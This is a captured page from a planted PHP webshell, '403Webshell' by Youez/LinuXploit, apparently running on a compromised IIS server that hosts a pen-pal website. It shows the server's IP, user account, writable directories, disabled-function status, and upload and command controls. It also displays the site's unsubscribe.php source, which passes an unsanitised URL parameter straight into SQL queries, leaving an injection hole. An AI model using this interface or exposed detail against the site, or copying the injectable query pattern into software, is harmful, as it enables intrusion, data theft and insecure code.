403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /HostingSpaces/admin/penpalamerica.com/wwwroot/newpal2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /HostingSpaces/admin/penpalamerica.com/wwwroot/newpal2/unsubscribe.php
<?php

include "general.php";
include "connect.php";


$sn = isset($_GET['err']) ? $_GET['err'] : '';

$query ="select * from penpalsubscriberamerica where sn=$sn ";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  //echo "Database error please try again";
  //var_dump( mysqli_error($con));
  //echo "me";
   mysqli_close($con);
   header('Location: unsubconfirmed.php?err=2');
     die();

}


while($row = mysqli_fetch_array($result))
{

$query = "update penpalsubscriberamerica set emailreceived ='1' where sn =$sn";
$queryresponse = updateQuery($query);
//echo $query;

if ($queryresponse=="0" ){

 header('Location: unsubconfirmed.php?err=0');
   die();

}
else
{

   header('Location: unsubconfirmed.php?err=1');
   die();
}

}// end of while 

?>


Youez - 2016 - github.com/yon3zu
LinuXploit